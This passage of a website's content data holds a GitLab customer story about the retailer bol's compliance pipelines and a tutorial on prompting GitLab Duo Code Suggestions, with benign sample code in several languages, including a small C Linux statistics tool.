7","en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7.yml","en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7",{"_path":5623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5624,"content":5630,"config":5634,"_id":5636,"_type":16,"title":5637,"_source":17,"_file":5638,"_stem":5639,"_extension":20},"/en-us/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab",{"title":5625,"description":5626,"ogTitle":5625,"ogDescription":5626,"noIndex":6,"ogImage":5627,"ogUrl":5628,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5628,"schema":5629},"Online retailer bol tackles growing compliance needs with GitLab","Learn how GitLab helps the major international company adhere to regulations while increasing development efficiency.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665465/Blog/Hero%20Images/blog-image-template-1800x945__15_.png","https://about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Online retailer bol tackles growing compliance needs with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Griffin\"}],\n        \"datePublished\": \"2024-06-12\",\n      }",{"title":5625,"description":5626,"authors":5631,"heroImage":5627,"date":5612,"body":5632,"category":2702,"tags":5633},[3321],"[Bol](https://www.bol.com/nl/nl/), which uses GitLab Ultimate, is one of the largest online retailers in the Netherlands and Belgium. The company offers a product range of 38 million items alongside 50,000 sales partners who sell their goods on its marketplace. Bol relies on innovative technology to increase development efficiency, adhere to compliance regulations, and maintain trust across its extensive customer base.\n\nBol equips its teams with the GitLab DevSecOps platform, enabling its developers to quickly and securely ship projects, while saving the team thousands of manual hours on compliance checks.\n\n“GitLab is helping us stay flexible and competitive as we grow, and as the requirements that our software and our developers need to comply with grow,” says Guus Houtzager, engineering manager on bol’s Continuous Integration and Continuous Deployment team. “That's the biggest challenge that we had and we tackled it with GitLab.”\n\nHowever, as bol's revenue grew, so did the compliance rules and regulations it had to adhere to. The company needs to continually adapt its software to meet strict, and often updated regulations, such as the General Data Protection Regulation (GDPR), International Organization for Standardization (ISO) requirements, and the EU Artificial Intelligence Act.\n\nAfter adopting GitLab Community in 2016 and GitLab Premium several years later, bol upgraded to GitLab Ultimate in 2024 to [meet the growing compliance load](https://about.gitlab.com/solutions/security-compliance/) and help its teams tackle projects faster and more efficiently.\n\n![Guus Houtzager of bol - quote box](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675638/Blog/Content%20Images/bol_Blog_-_Guus.png)\n\n## Saving thousands of developer hours per month \n\nGitLab enables bol’s DevSecOps teams to set up policies that automate compliance configurations and checks. This helps them achieve consistency and scalability in their compliance efforts, and reduce the risk of human error. With compliance guardrails in place, its team of 850 developers can focus more of their energy on creating innovative, secure software.\n\n“We bought GitLab Ultimate so we can have compulsory compliance pipelines that ensures our teams are working within compliance regulations from the start,” says Houtzager.\n\nBy allowing developers to focus on coding without the burden of compliance regulations, the bol development team dramatically increased its efficiency.\n\n“This has saved our developers several thousands of hours in total per month,” says Houtzager.\n\nIn addition to time savings, the team is now confident it can handle any compliance roadblocks that come its way.\n\n“We know that GitLab is going to help us with compliance and software security,” says Houtzager. “Even if we get new regulations, we have a toolkit, through GitLab, that enables us to follow and comply with any new regulations. We don't know exactly what will happen, but we know we are in a position to handle whatever comes our way.”\n\n## Shifting left to protect customers and its business\n\nAs a large player in the European retail world, trust is a key pillar of bol’s business model. The company handles a large quantity of personal data, such as addresses and order details. While regulatory fines are a concern, so is maintaining trust with its customer base. That only emphasizes the importance of security.\n\n“Most of the people in the Netherlands and Belgium have bought something from us in the past and people trust us,” says Houtzager. “They trust that we handle their payment details properly. We don't sell your Personal Identifiable Information PII data, and they trust us to keep it safe and secure.”\n\nTo protect customer data and its business, bol shifted security left, enabling developers to find errors and vulnerabilities earlier in the development process. However, shifting left without the right tools in place could lead to developers spending countless hours trying to correct any problems they find.\n\n“If you shift left without also providing teams the tools, support, and processes to make sure that they can do this work in an efficient manner, teams get bogged down in either procedures or manual work,” says Houtzager.\n\nWith GitLab Ultimate, bol is able to set up the layout and permission model to meet the company’s security requirements, giving developers the freedom to quickly build and ship projects while protecting customer and business data. The DevSecOps platform has the added benefit of tracking the changes and fixes that developers make and noting them in compliance records. \n\n## Looking ahead to AI\n\nMoving forward, bol plans to use more GitLab Ultimate features, like cloud integration, and artificial intelligence (AI) capabilities, along with even more security features. \n\nFrom building secure software faster to improving the developer experience, bol looks forward to one day using AI-powered [GitLab Duo](https://about.gitlab.com/gitlab-duo/) to help them scale their software development. \n\n“The situation must be right for us to be able to use it and then we will definitely take a look at how it can help us,” says Houtzager. “We, like everybody else, are looking at where AI can help us to improve situations across the entire software development life cycle. So if someone is building code, how can it help them? If someone is working on other aspects of the process, how can it help them?” \n\n> Read more customer stories on [the GitLab customers page](https://about.gitlab.com/customers/).\n",[110,674,2705,479],{"slug":5635,"featured":6,"template":678},"online-retailer-bol-tackles-growing-compliance-needs-with-gitlab","content:en-us:blog:online-retailer-bol-tackles-growing-compliance-needs-with-gitlab.yml","Online Retailer Bol Tackles Growing Compliance Needs With Gitlab","en-us/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab.yml","en-us/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab",{"_path":5641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5642,"content":5647,"config":5652,"_id":5654,"_type":16,"title":5655,"_source":17,"_file":5656,"_stem":5657,"_extension":20},"/en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo",{"title":5643,"description":5644,"ogTitle":5643,"ogDescription":5644,"noIndex":6,"ogImage":1032,"ogUrl":5645,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5645,"schema":5646},"Top tips for efficient AI-powered Code Suggestions with GitLab Duo","Explore best practices  for using Code Suggestions and how to combine it with our other AI features to greatly improve the developer experience (includes real-world exercises).","https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top tips for efficient AI-powered Code Suggestions with GitLab Duo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-06-11\",\n      }",{"title":5643,"description":5644,"authors":5648,"heroImage":1032,"date":5649,"body":5650,"category":791,"tags":5651},[4808],"2024-06-11","[GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, provides a unique opportunity to make your DevSecOps workflows more efficient. To make the most of GitLab Duo requires hands-on practice and learning in public together. This tutorial centers on GitLab Duo Code Suggestions and provides tips and tricks, learned best practices, and some hidden gems (including how to pair Code Suggestions with our other AI features for even more efficiency). You'll also discover how AI greatly improves the developer experience.\n\nThe best practices, tips, and examples in this article have been created from scratch and are included in the [GitLab Duo documentation](https://docs.gitlab.com/ee/user/gitlab_duo/index.html) and [GitLab Duo prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts), maintained by the GitLab Developer Relations team. Bookmark this page, and navigate into the respective chapters at your convenience.\n\nWhat you'll learn:\n\n1. [Why use GitLab Duo Code Suggestions?](#why-use-gitlab-duo-code-suggestions%3F)\n1. [Start simple, refine prompts](#start-simple-refine-prompts)\n1. [Practice, practice, practice](#practice-practice%2C-practice)\n    - [Fix missing dependencies](#fix-missing-dependencies)\n    - [Boilerplate code: Optimized logging](#boilerplate-code-optimized-logging)\n    - [Utility helper functions, well tested](#utility-helper-functions-well-tested)\n    - [Generate regular expressions](#generate-regular-expressions)\n1. [Re-trigger Code Suggestions](#re-trigger-code-suggestions)\n    - [Common keyboard combinations to re-trigger Code Suggestions](#common-keyboard-combinations-to-re-trigger-code-suggestions)\n    - [Stuck in the middle of suggestions](#stuck-in-the-middle-of-suggestions)\n    - [Code Suggestions stopped](#code-suggestions-stopped)\n1. [Code Suggestions vs, code generation](#code-suggestions-vs.-code-generation)\n    - [Start with a comment on top for code generation](#start-with-a-comment-on-top-for-code-generation)\n    - [Intent detection for code suggestions and generation](#intent-detection-for-code-suggestions-and-generation)\n    - [Tell a story for efficient code generation](#tell-a-story-for-efficient-code-generation)\n    - [Generate regular expressions](#generate-regular-expressions)\n    - [Iterate faster with code generation](#iterate-faster-with-code-generation)\n    - [Practical code generation: Cloud-native observability](#practical-code-generation-cloud-native-observability)\n1. [Take advantage of all GitLab Duo features](#take-advantage-of-all-gitlab-duo-features)\n    - [Combine Chat with Code Suggestions](#combine-chat-with-code-suggestions)\n    - [Use Chat to generate build configuration](#use-chat-to-generate-build-configuration)\n    - [Use Chat to explain potential vulnerabilities](#use-chat-to-explain-potential-vulnerabilities)\n    - [Combine vulnerability resolution with Code Suggestions](#combine-vulnerability-resolution-with-code-suggestions)\n1. [More tips](#more-tips)\n    - [Verify code quality and security](#verify-code-quality-and-security)\n    - [Learn as a team, and understand AI's impact](#learn-as-a-team-and-understand-ai-impact)    \n    - [Development is a marathon, not a sprint](#development-is-a-marathon-not-a-sprint)\n    - [Contribute using GitLab Duo](#contribute-using-gitlab-duo)\n1. [Share your feedback](#share-your-feedback)\n\n## Why use GitLab Duo Code Suggestions?\n\nConsider these two scenarios:\n\n1. As a senior developer, you have the confidence in your ability with various programming languages to write new source code, review existing code, design resilient architectures, and implement new projects. However, getting familiar with the latest programming language features requires time, research, and a change of habits. So how can you quickly learn about new language feature additions that could make your code even more robust or use resources more sustainably?\n\n    - As a personal example, I learned the C++03 standard, later C++11 and never really touched base on C++14/17/20/23 standards. Additionally, new languages such as [Rust](https://about.gitlab.com/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) came around and offered better developer experiences. What now?\n\n2. As a new engineer, it can be challenging to navigate new projects, get familiar with a new programming language, understand specific algorithms, and find the documentation for structures, interfaces, and other technical components. New engineers are also learning under pressure, which often leads to errors and roadblocks along the way. There is no time for digging into best practices.\n\n    - I, myself, never really learned frontend engineering, just some self-taught HTML, CSS, and JavaScript. Adapting into frontend frameworks such as VueJS after a decade feels overwhelming, and I have little time to learn.\n\nThese scenarios show how hard it can be to keep up with the latest programming languages, best practices, and other key information. [GitLab Duo Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/), which predictively completes code blocks, defines function logic, generates tests, and proposes common code like regex patterns – all in your coding environment. Code Suggestions provides the AI assistance necessary to learn what you need to know while staying in your development flow.\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today](https://about.gitlab.com/seventeen/)!\n\n## Start simple, refine prompts\n\nMy own GitLab Duo adoption journey started with single-line code comments, leading to not-so-great results at first. \n\n```\n# Generate a webserver\n\n// Create a database backend\n\n/* Use multi-threaded data access here */\n```\n\nAfter experimenting with different contexts, and writing styles, I found that code generation out of refined comments worked better. \n\n```\n# Generate a webserver, using the Flask framework. Implement the / URL endpoint with example output.\n\n// Create a database backend. Abstract data handlers and SQL queries into function calls.\n\n/* Use multi-threaded data access here. Create a shared locked resource, and focus on supporting Linux pthreads. */\n```\n\nCode comments alone won't do the trick, though. Let's explore more best practices.\n\n## Practice, practice, practice \n\nFind use cases and challenges for your daily workflows, and exclusively use GitLab Duo. It can be tempting to open browser search tabs, but you can also solve the challenge in your IDE by using GitLab Duo. Here are some examples:\n\n1. Fix missing dependencies (which always cause build/execution failures).\n1. If you're missing logging context, let Code Suggestions auto-complete started function calls, including `print` statements.\n1. Generate common methods and attributes for object-oriented design patterns (e.g. getter/setter methods, `toString()` and object comparison operators, object inheritance, etc.).\n1. Identify the function that generates random crashes. Use Code Suggestions to implement a new function with a different algorithm.\n1. If you encounter application cannot be compiled or executed, cryptic error, ask GitLab Duo Chat about it.\n1. Learn about existing (legacy) code, and strategies to document and refactor code into modern libraries. Start a v2 of an application with a new framework or programming language, helping solve technical debt.\n1. Prevent operations and security issues in Git history by detecting them before they occur (e.g. performance, crashes, security vulnerabilities).\n\nThink of the most boring - or most hated - coding task, and add it to the list above. My least favorite tasks are attribute getter/setter methods in C++ classes (as can be seen in the video below), immediately followed by regular expressions for email address format.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Z9EJh0J9358?si=QGvQ6mXxPPz4WpM0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIt can also help to use Code Suggestions in different programming languages, for example focusing on backend and frontend languages. If you are experienced in many languages, take a look into languages that you have not used in a while, or look into learning a new programming language such as [Python](https://about.gitlab.com/blog/learning-python-with-a-little-help-from-ai-code-suggestions/) or [Rust](https://about.gitlab.com/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/). \n\nWhen you adopt Code Suggestions into a fast auto-completion workflow, it can happen without any interruption. The suggested code is greyed out and optional, depending on the user interface – for example, VS Code. This means that it will not distract you from continuing to write source code. Try using Code Suggestions on your own by familiarizing yourself with how suggestions are shown, how you can fully or partially accept them, and soon they will become optional help to write better code. \n\n![Image with code suggestions greyed out](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_java_springboot_class_methods_tostring.png)\n\n### Fix missing dependencies\n\nAfter building or running source code, missing dependency errors might be logged and prevent further execution and testing. The following example in Go shows an error from `go build`, where the source code did not import any dependencies yet. A manual approach can be collecting all listed dependencies, running a unique sort on them, and adding them into the source code file, as shown below.\n\n![Go build failed - missing dependencies](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps.png)\n\nBut what if GitLab Duo knows about the file context and missing dependencies already? Navigate into the top section and add a comment, saying `// add missing imports` and wait for Code Suggestions.\n\n![GitLab Duo Code Suggestions - go build failed missing dependencies suggested fix](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps_suggested_fix.png)\n\nRunning `go build` again results in success, and the source code can be tested and run.\n\n![Go build failed - missing dependencies fixed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_build_failed_missing_deps_fixed.png)\n\n### Boilerplate code: Optimized logging\n\n*Q: Logging – and more observability data with metrics and traces – can be hard and tedious to implement. What is the most efficient way to implement them that does not impact the application performance or cause bugs?*\n\n*A: Use Code Suggestions to generate logging function calls, and refactor the code into robust observability instrumentation library abstractions. This method can help to prepare the code for later integration with [OpenTelemetry](https://docs.gitlab.com/ee/development/stage_group_observability/gitlab_instrumentation_for_opentelemetry.html), for example.*\n\nExample for a logging class in Ruby:\n\n```ruby\n# Create Logging utility class\n# Define default log level as attribute\n# Add method for logging, inputs: level, app, message\n# Print the data with formatted date and time in syslog format\n\n# Potential AI-generated code below\nclass Logging\n  attr_accessor :log_level\n\n  def log(level, app, message)\n    time = Time.now.strftime(\"%b %d %H:%M:%S\")\n    puts \"#{time} #{app}[#{Process.pid}]: #{level} - #{message}\"\n  end\nend\n\n# Instantiate class and test the log method\n\n# Potential AI-generated code below\nlogger = Logging.new\nlogger.log_level = :debug\n\nlogger.log(:info, 'MyApp', 'Application started - info')\nlogger.log(:debug, 'MyApp', 'Application started - debug')\nlogger.log(:error, 'MyApp', 'Application started - error')\nlogger.log(:fatal, 'MyApp', 'Application started - fatal')\nlogger.log(:warn, 'MyApp', 'Application started - warn')\n```\n\n### Utility helper functions, well tested\n\n*Q: The programming language does not provide basic functions in the standard library. I'm tempted to open my browser to add string manipulation and regular expression parser functions.*\n\n*A: Create a new file called `utility.{language-suffix}` and add a code comment on top. Instruct Code Suggestions to generate a string manipulation function ().*\n\nExample for a string manipulation method in Python:\n\n```python\n# Create a function to search for a string in a string, return the index\n# Optionally remove search string, and return modified string\n# Test the function on the string \"Cool programming languages: C++, Rust, Python\" - Remove the string \"C++\"\n\n# Potential AI-generated code below\ndef search_and_remove(text, search):\n    index = text.find(search)\n    if index != -1:\n        return index, text[:index] + text[index+len(search):]\n    else:\n        return None, text\n\ntext = \"Cool programming languages: C++, Rust, Python\"\nindex, new_text = search_and_remove(text, \"C++\")\nprint(index, new_text)\n```\n\n**Async exercise:** Ask GitLab Duo Chat how to add tests in Python, select the source code, and use the `/tests` slash command. \n\nA similar example can be implemented in Go, creating utility functions for unique integer values in an array, or the sum of all even values. Start with defining the project structure through `go mod init gitlab.com/group/project` and create the `array.go` file. Define the `package` and start with the first code comment to generate the functions.\n\n```go\npackage array \n\n// Create a function that returns unique values from an integer array\n\n// Possible AI-generated code\nfunc unique(ints []int) []int {\n    occurred := map[int]bool{}\n    result := []int{}\n    for _, i := range ints {\n        if !occurred[i] {\n            occurred[i] = true\n            result = append(result, i)\n        }\n    }\n    return result\n}\n\n// Create a function that returns the sum of all even numbers in an integer array\n\n// Possible AI-generated code\nfunc sumEvens(ints []int) int {\n    var sum int\n    for _, i := range ints {\n        if i%2 == 0 {\n            sum += i\n        }\n    }\n    return sum\n}\n```\n\n**Async exercise**: Create more utility helper functions in dedicated libraries, and use Chat to select and generate `/tests`. For the Go example, you can inspect potential solutions in the `go/utility/array_test.go` file in the [GitLab Duo Prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts). Build and test the code using `go build && go test`.\n\n### Generate regular expressions\n\nDevelopers' favorite one liners, never touched again. `git blame` knows very well but might not be able to provide enough context. GitLab Duo can help with regular expressions creation, explanation, and refactoring, in the following example:\n\n*Q: My regular expressions for parsing IPv6 and IPv4 addresses do not work. What's the best approach to solve this?*\n\n*A: Use Code Suggestions comments to generate examples using these regex types. Combine the questions with Chat, and ask for more examples in different languages. You can also select the existing source, and use a refined prompt with `/refactor using regular expressions` in the Chat prompt.*\n\n**Async exercise**: Choose your favorite language, create a function stub that checks IPv6 and IPv4 address strings for their valid format. Trigger Code Suggestions to generate a parsing regular expression code for you. Optionally, ask Chat how to refine and refactor the regex for greater performance.\n\nI chose TypeScript, a language on my personal learning list for 2024: `// Generate a TypeScript function which parses IPv6 and IPv4 address formats. Use regular expressions`.\n\n![Code Suggestions - typescript utility parse ip address regex](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_typescript_utility_parse_ip_address_regex.png)\n\n![Code Suggestions typescript - utility parse ip address regex tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_typescript_utility_parse_ip_address_regex_tests.png)\n\n## Re-trigger Code Suggestions\n\nYou can trigger Code Suggestions by pressing the `enter` or `space` key, depending on the context. In VS Code and the GitLab Web IDE, the GitLab Duo icon will appear in the same line, and at the bottom of the window.\n\nIf you accepted a suggestion, but actually want to try a different suggestion path, select the code, delete the line(s) and start over.\n\n> **Tip:** Different keystrokes and strategies for Code Suggestions are recorded in this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ORpRqp-A9hQ?si=CmA7PBJ9ckWsvjO3\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Common keyboard combinations to re-trigger Code Suggestions\n\nEspecially in the early adoption phase of Code Suggestions, you'll need to practice to get the best results from comments, existing code style, etc., put into context.\n\nA common keystroke pattern for triggering suggestions can be\n\n1. Press `Enter` and wait for the suggestion.\n1. Press `Space` followed by `Backspace` to immediately delete the whitespace again, or\n1. Press `Enter` to re-trigger the suggestion. `Backspace` to delete any leftover new lines.\n\nWhen a suggestion makes sense, or you want to see how far you can get:\n\n1. Continue pressing `Tab` to accept the suggestion.\n1. Add a space or press `Enter` to open a new scope for triggering a new suggestion.\n1. Continue accepting suggestions with `Tab`. \n\nNote that generative AI sometimes ends up in a loop of suggesting similar code paths over and over again. You can trigger this behavior by inserting test data into an array, using strings and numbers in a sorted order or by generating different API endpoints, as it tries to guess which other endpoints could be helpful. When this happens, break the acceptance flow, and continue writing code as normal.\n\n### Stuck in the middle of suggestions\n\nSometimes, the code suggestions may stop in the middle of a variable, function, etc. definition. If you are unsure about the syntax, or want to restart the code suggestions:\n\n1. Delete the last character(s) or the entire line, using `Backspace`.\n1. Alternatively, use `shift cursor left` (select characters) or `cmd shift cursor left` (select entire line), followed by `Backspace`.\n1. Move the cursor into the line above, and press `Enter` to force a Code Suggestions trigger again.\n\n### Code Suggestions stopped\n\nWhen Code Suggestions stops, there can be multiple reasons:\n\n1. The current file scope ends – for example, a `main()` function has been generated and closed.\n1. There could be connection problems to the GitLab instance (self-managed) or GitLab.com (SaaS, [Dedicated](https://about.gitlab.com/dedicated/)). Follow the [troubleshooting documentation](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/troubleshooting.html).\n\n## Code suggestions vs. code generation\n\nCode suggestions \"come as you go\" while writing code, and help with completing line(s). Code generation on the other hand requires more context to create entire code blocks, consisting of functions, algorithms, classes, etc. \n\nThe following sections discuss both methods, and how to get started with a practical example. \n\n### Code suggestions flow with comments\n\nUse your natural programming flow, and stop to adapt to adding code comments when helpful for context and better suggestions. You can accept code suggestions using the `Tab` key, or selectively accept words using the `cmd cursor right` keyboard shortcut.\n\nThe following new challenge implements a simple Linux statistics tool in C, mimicking the functionality of `iostat`, `vmstat` and `du` CLI commands on Linux. Sometimes, these low-level metrics come in handy for presenting application metrics, or otherwise help with debugging when requesting support data from customers.\n\nCreate a new application directory called `linux_stat` and `main.c` file, and let Code Suggestions complete everything else. First, start with a simple code comment block:\n\n```c\n// Create a Linux statistic tool\n// Collect IO, performance, disk usage, TCP latency\n// Print summaries\n```\n\nNext, press `Enter` to trigger the creation of the `main()` method. If not automatically created, force it through a new code comment.\n\n```c\n// Create main function to collect data\n```\n\nIn my attempts, generative AI did not immediately implement all functionality. Instead, it added a `TODO` comment into the following code block.\n\n```c\nint main() {\n    struct stat statbuf;\n\n    if (stat(\"/etc\", &statbuf) != 0) {\n        perror(\"stat\");\n        return 1;\n    }\n\n    printf(\"IO Block Size: %ld\\n\", statbuf.st_blksize);\n\n    // TODO: add CPU usage, disk usage, network latency measurements\n\n    return 0;\n}\n```\n\nMove the cursor after the `TODO` comment, and continue with a new comment to collect CPU usage:\n\n```c\n    // Collect CPU usage\n\n    // Example for AI-generated code below\n    double cpu_usage;\n\n    FILE* stat_file = fopen(\"/proc/stat\", \"r\");\n    if (stat_file == NULL) {\n        perror(\"fopen\");\n        return 1;\n    }\n\n    // Parse /proc/stat to get CPU usage\n    fscanf(stat_file, \"cpu %lf\", &cpu_usage);\n\n    printf(\"CPU Usage: %.2f%%\\n\", cpu_usage * 100);\n\n    fclose(stat_file);\n```\n\nThe generated code might not be 100% accurate, since measuring CPU usage on Linux requires taking samples over a defined time range. Thus, the caller needs to calculate the real CPU utilization from all values in `/proc/stat`, including [`system, nice, user, idle, iowait`, etc.](https://www.kernel.org/doc/Documentation/filesystems/proc.txt).\n\n**Async challenge:** Optimize the collection process with average calculation.\n\nRepeat the steps for disk usage and network latency. The code comment is written by you, the C source code is generated with GitLab Duo.\n\n```c\n    // Collect disk usage\n\n    // Collect network latency\n\n    // Example for AI-generated code below\n    int sockfd = socket(AF_INET, SOCK_STREAM, 0);\n\n    struct sockaddr_in servaddr;\n    servaddr.sin_family = AF_INET;\n    servaddr.sin_port = htons(80);\n    inet_pton(AF_INET, \"8.8.8.8\", &servaddr.sin_addr);\n```\n\nThe generated code may use public IP addresses to test network latency. Change the IPv4 address to GitLab.com's current address. \n\n```c\n    inet_pton(AF_INET, \"172.65.251.78\", &servaddr.sin_addr);\n```\n\nThe generated source code added more header dependencies. Navigate into the top section of the file, and add a comment to include all required headers:\n\n```c\n// Import required headers\n```\n\nBuild and run the application on Linux, example on Ubuntu 22 LTS:\n\n```shell\n# Install compiler\napt install gcc\n\n# Build\ngcc main.c -o linux_stat\n\n# Build: If the math.h header is included, linking against the library is needed, too\ngcc linux_stat.c -o linux_stat -lm\n\n# Run the tool\n./linux_stat\n```\n\n**Bonus:** Change the code to use IPv6, and check the GitLab.com IPv6 address again (`dig gitlab.com AAAA +short`).\n\n```c\n    // Collect network latency\n\n    // Use IPv6 \n\n    // Example for AI-generated code below\n    struct sockaddr_in6 servaddr;\n    servaddr.sin6_family = AF_INET6;\n    servaddr.sin6_port = htons(80);\n    //inet_pton(AF_INET6, \"2001:db8::1\", &servaddr.sin6_addr);\n    inet_pton(AF_INET6, \"2606:4700:90:0:f22e:fbec:5bed:a9b9\", &servaddr.sin6_addr);\n\n    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);\n```\n\n![C Linux stat tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_c_linux_stat_tests.png)\n\nThe full working source code is available in the [GitLab Duo Prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts) in the directory for C code.\n\n**Async exercise:** Refactor the C code into Rust, using only GitLab Duo. Start by selecting the source code, and use the Duo Chat prompt `/refactor into Rust`. \n\n> **Tip:** Thoughtful code comments make the source code more readable, too. This helps new team members with onboarding, site reliability engineers with debugging production incidents, and open source contributors with [merging their first MRs](https://handbook.gitlab.com/handbook/marketing/developer-relations/contributor-success/community-contributors-workflows/#first-time-contributors).\n\n### Start with a comment on top for code generation\n\nSource code can be organized in multiple files. Whether you start with a new application architecture, or refactor existing source code, you can take advantage of code generation with GitLab Duo.\n\nStart with a comment block on top, and make it a step-by-step description. You can also break longer comments into multiple lines, revisiting the examples in this article. This pattern also helps to think about the requirements, and can help refining the prompts. \n\n```diff\n# Generate a webserver, using the Flask framework. \n# Implement the / URL endpoint with example output.\n+# Add an endpoint for Promtheus metrics\n\n// Create a database backend. \n// Abstract data handlers and SQL queries into function calls.\n+// Use PostgreSQL as default backend, and SQLite for developers as fallback.\n\n/* \nUse multi-threaded data access here.\nCreate a shared locked resource, and focus on supporting Linux pthreads. \n+Abstract the thread creation/wait procedures into object-oriented classes and methods.\n*/\n```\n\nMore code generation prompts for [supported programming languages](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html) are available in the [GitLab Duo Use Cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts).\n\n### Intent detection for code suggestions and generation\n\nCode Suggestions, depending on the GitLab Language Server in your IDE, will parse and detect the intent and offer code completion suggestions in the same line or code generation.\n\nThe technology in the background uses TreeSitter to parse the code into an [AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree), and determine whether the scope is inside a code comment block (generation), or inside the source code (completion). This detection needs to be executed fast on the client IDE, and proves to be a great use case for [WebAssembly](https://webassembly.org/). You can learn more in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11568), and the following video, which provides a look into the GitLab Language Server powering Code Suggestions:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VQlWz6GZhrs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Tell a story for efficient code generation\n\nCode generation is art. Tell the story, and AI-powered GitLab Duo can assist you. \n\nThe following example aims to implement an in-memory key-value store in Go, similar to Redis. Start with a description comment, and trigger Code Suggestions by continuing with a new line and pressing `Enter`.\n\n```golang\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n```\n\nWe can be more specific – which methods are required for data manipulation? Instruct Code Suggestions to generate methods for setting keys, updating values, and listing all contained data.\n\n```golang\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n```\n\nAccept all suggestions using the `Tab` key. As a next step, instruct Code Suggestions to create a `main` function with test code.\n\n```golang\n// Create a main function and show how the code works\n```\n\nIf the test data is not enough, refine the generated code with a focus on extreme test cases.\n\n> **Tip:** You can use the same method for refined [Chat prompts and test generation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide), `/tests focus on extreme test cases`.\n\n```golang\n// Add more random test data, focus on extreme test cases\n```\n\n![Code Suggestions - go kv more test data](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_more_test_data.png)\n\nThe full example, including fixed dependencies, is located in the [gitlab-duo-prompts project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts) in the `code-suggestions/go/key-value-store` directory. Update the `main.go` file, and build and run the code using the following command: \n\n```shell\ngo build\n./key-value-store\n```\n\nThe first iteration was to create a standalone binary and test different implementation strategies for key-value stores. Commit the working code and continue with your GitLab Duo adoption journey in the next step.\n\n> **Tip:** New projects can benefit from Code Generation, and require practice and more advanced techniques to use code comments for prompt engineering. This method can also make experienced development workflows more efficient. Proof of concepts, new library introductions, or otherwise fresh iterations might not always be possible in the existing project and framework. Experienced developers seek to create temporary projects, and isolate or scope down the functionality. For example, introducing a database backend layer, and benchmarking it for production performance. Or, a library causing security vulnerabilities or license incompatibilities should be replaced with a different library, or embedded code functionality.\n\n### Iterate faster with code generation\n\nExperienced developers will say, \"There must be a key-value library in Go, let us not reinvent the wheel.\" Fortunately, Go is a mature language with a rich ecosystem, and awesome-go collection projects, for example [avelino/awesome-go](https://github.com/avelino/awesome-go), provide plenty of example libraries. Note: This possibility might not be the case for other programming languages, and requires a case-by-case review.\n\nWe can also ask GitLab Duo Chat first, `Which Go libraries can I use for key-value storage?`:\n\n![Chat - ask golang libraries kv](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_chat_ask_golang_libs_kv.png)\n\nAnd then refine the Code 